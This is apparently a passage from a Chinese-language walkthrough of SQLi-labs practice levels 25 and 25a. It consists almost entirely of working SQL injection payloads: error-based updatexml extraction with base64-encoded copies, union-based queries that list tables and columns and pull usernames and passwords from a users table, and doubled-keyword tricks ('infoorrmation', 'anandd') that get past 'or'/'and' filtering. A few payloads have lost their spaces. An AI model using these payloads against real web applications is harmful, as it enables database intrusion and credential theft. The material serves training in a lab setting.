-- 表 admin' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)) and '1' = '1 YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAgbGltaXQgMywxKSwweDdlKSwxKSkgYW5kICcxJyA9ICcx
-- 表 admin" and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)) and "1" = "1 YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSAgbGltaXQgMywxKSwweDdlKSwxKSkgYW5kICIxIiA9ICIx
-- 表 ?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3 and '1' = '1
-- 列 ?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),3 and '1' = '1 ?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),3 and '1' = '1
-- 表 ?id=-1' union select 1,(select username from users limit 3,1),3 and '1' = '1 ?id=-1' union select 1,(select password from users limit 3,1),3 and '1' = '1
-- 表 ?id=-1' union select 1,2,group_concat('~',table_name) from infoorrmation_schema.tables where table_schema=database() --+ -- 列 ?id=-1'unionselect1,2,group_concat('~',column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='users'--+ -- 数据 ?id=-1' union select 1,2,group_concat('~',username,passwoorrd) from users --+
25a关
本关与25基本一致,这一关只不过换成了数字型注入
1 2 3 4 5 6
-- 表 ?id=-1unionselect1,2,group_concat('~',table_name) from infoorrmation_schema.tables where table_schema=database() --+ -- 列 ?id=-1unionselect1,2,group_concat('~',column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='users'--+ -- 数据 ?id=-1' union select 1,2,group_concat('~',username,passwoorrd) from users --+